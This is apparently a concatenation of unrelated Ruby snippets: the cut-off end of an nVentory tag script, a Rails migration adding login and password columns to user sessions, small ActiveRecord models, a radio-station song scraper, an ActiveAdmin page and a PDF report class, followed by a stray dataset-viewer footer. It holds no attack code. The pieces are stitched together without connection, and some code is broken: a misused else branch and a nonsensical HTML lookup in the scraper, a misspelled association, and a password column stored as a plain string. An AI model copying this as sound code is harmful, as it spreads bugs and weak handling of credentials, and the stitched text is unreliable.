# otherwise the client gets its normal tag based on "hours". Ignore
# timestamps in the future too, so if someone inserts something way in
# the future the client isn't stuck on trunk forever.
timelimit = Time.at(Time.now - 60 * 60 * hours)
puts "timelimit #{timelimit}" if (@debug)
puts "now #{Time.now}" if (@debug)
if tagunixtime > timelimit && tagunixtime <= Time.now
puts "Temporary bump to trunk tag is within acceptable time window" if (@debug)
tag = 'trunk'
else
puts "Temporary bump to trunk tag is outside acceptable time window" if (@debug)
end
else
puts "nVentory tag not a temporary bump to trunk tag, using tag as-is" if (@debug)
tag = nvtag
end
else
puts "No tag found in nVentory for this node" if (@debug)
end
end
if tag.nil? || tag.empty?
tag = File.join('tags', findautotag(hours))
end
puts tag
|
class AddLoginToUserSessions < ActiveRecord::Migration
def change
add_column :user_sessions, :login, :string
add_column :user_sessions, :password, :string
end
end
|
class Book < ApplicationRecord
has_and_belongs_to_many :readers
end
|
class PublicationAchievement < ActiveRecord::Base
belongs_to :publicaton
belongs_to :achievement
scope :for_display, -> { where display:true }
end
|
class Song
# HTTParty
include HTTParty
# Nokogiri
include Nokogiri
$urls = {
'jwave'=> 'http://www.j-wave.co.jp/top/xml/now_on_air_song.xml',
'tfm'=> 'http://www.tfm.co.jp/top/xml/noamusic.xml',
'interfm'=>'http://www.interfm.co.jp/',
}
def getSong(station)
if !$urls.key?(station)
return {}
end
response = HTTParty.get($urls[station])
if station == 'jwave'
return getJwave(response)
elsif station == 'tfm'
return getTfm(response)
else station == 'interfm'
return getInterfm(response)
end
end
private
def getJwave(response)
txt = response["now_on_air_song"]["data"]["information"]
res = txt.scan(/^「(.*?)」\s(.*?)\s(\d{2}:\d{2})/)
return {
"title"=> res[0][0],
"artist"=>res[0][1],
"time"=>res[0][2]
}
end
private
def getTfm(response)
txt = response["item"]
return {
"title"=> txt['music_name']["__content__"],
"artist"=>txt['artist_name'],
"time"=>txt['onair_time']
}
end
private
def getInterfm(response)
txt = response["html"][""]
return {
"title"=> txt['music_name']["__content__"],
"artist"=>txt['artist_name'],
"time"=>txt['onair_time']
}
end
end
|
ActiveAdmin.register ProductPriceHistory do
index do
column :product
column :price do |model|
number_to_currency model.price
end
column :start_date
column :end_date
default_actions
end
end
|
module FDIProjectCompletionReport
class ProjectCompletionDetailPage
def initialize(project)
@project = project
end
def write(pdf)
draw_pc_total_firedoor_inspected(pdf)
draw_pc_total_firedoor_conformed(pdf)
draw_pc_total_firedoor_nonconformed(pdf)
# draw_base_bid_count(pdf)
# draw_new_total_authorized_damper_bid(pdf)
end
private
def draw_pc_total_firedoor_inspected(pdf)
array = @project.m_building.split(",")
if array.length >= 5
pdf.font_size 12
pdf.text_box("Total # of Firedoor Inspected:", :at => [10, 365], :style => :bold)
pdf.font_size 10
pdf.text_box("#{@project.m_total_no_of_firedoor_inspected}", :at => [315, 365])
elsif array.length == 3
pdf.font_size 12
pdf.text_box("Total # of Firedoor Inspected:", :at => [10, 378], :style => :bold)
pdf.font_size 10
pdf.text_box("#{@project.m_total_no_of_firedoor_inspected}", :at => [315, 378])
else
pdf.font_size 12
pdf.text_box("Total # of Firedoor Inspected:", :at => [10, 390], :style => :bold)
pdf.font_size 10
pdf.text_box("#{@project.m_total_no_of_firedoor_inspected}", :at => [315, 390])
end
end
def draw_pc_total_firedoor_conformed(pdf)
array = @project.m_building.split(",")
if array.length >= 5
pdf.font_size 12
pdf.text_box("Total # of Firedoor Conformed:", :at => [10, 350], :style => :bold)
pdf.font_size 10
pdf.text_box("#{@project.m_total_no_of_firedoor_conformed}", :at => [315, 350])
elsif array.length == 3
pdf.font_size 12
pdf.text_box("Total # of Firedoor Conformed:", :at => [10, 363], :style => :bold)
pdf.font_size 10
pdf.text_box("#{@project.m_total_no_of_firedoor_conformed}", :at => [315, 363])
else
pdf.font_size 12
pdf.text_box("Total # of Firedoor Conformed:", :at => [10, 375], :style => :bold)
pdf.font_size 10
pdf.text_box("#{@project.m_total_no_of_firedoor_conformed}", :at => [315, 375])
end
end
def draw_pc_total_firedoor_nonconformed(pdf)
array = @project.m_building.split(",")
if array.length >= 5
pdf.font_size 12
pdf.text_box("Total # of Firedoor Nonconformed:", :at => [10, 335], :style => :bold)
pdf.font_size 10
pdf.text_box("#{@project.m_total_no_of_firedoor_nonconformed}", :at => [315, 335])
elsif array.length == 3
pdf.font_size 12
pdf.text_box("Total # of Firedoor Nonconformed:", :at => [10, 348], :style => :bold)
pdf.font_size 10
pdf.text_box("#{@project.m_total_no_of_firedoor_nonconformed}", :at => [315, 348])
else
pdf.font_size 12
pdf.text_box("Total # of Firedoor Nonconformed:", :at => [10, 360], :style => :bold)
pdf.font_size 10
pdf.text_box("#{@project.m_total_no_of_firedoor_nonconformed}", :at => [315, 360])
end
end
# def draw_base_bid_count(pdf)
# array = @project.m_building.split(",")
# if array.length >= 5
# pdf.font_size 12
# pdf.text_box("Base Bid Count", :at => [10, 219], :style => :bold)
# pdf.font_size 10
# pdf.text_box("#{@project.m_base_bid_count}", :at => [315, 219])
# elsif array.length == 3
# pdf.font_size 12
# pdf.text_box("Base Bid Count", :at => [10, 232], :style => :bold)
# pdf.font_size 10
# pdf.text_box("#{@project.m_base_bid_count}", :at => [315, 232])
# else
# pdf.font_size 12
# pdf.text_box("Base Bid Count", :at => [10, 244], :style => :bold)
# pdf.font_size 10
# pdf.text_box("#{@project.m_base_bid_count}", :at => [315, 244])
# end
# end
# def draw_new_total_authorized_damper_bid(pdf)
# array = @project.m_building.split(",")
# if array.length >= 5
# pdf.font_size 12
# pdf.text_box("New Total Authorized Firedoor Bid", :at => [10, 204], :style => :bold)
# pdf.font_size 10
# pdf.text_box("#{@project.m_new_total_authorized_damper_bid}", :at => [315, 204])
# elsif array.length == 3
# pdf.font_size 12
# pdf.text_box("New Total Authorized Firedoor Bid", :at => [10, 217], :style => :bold)
# pdf.font_size 10
# pdf.text_box("#{@project.m_new_total_authorized_damper_bid}", :at => [315, 217])
# else
# pdf.font_size 12
# pdf.text_box("New Total Authorized Firedoor Bid", :at => [10, 229], :style => :bold)
# pdf.font_size 10
# pdf.text_box("#{@project.m_new_total_authorized_damper_bid}", :at => [315, 229])
# end
# end
end
end |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.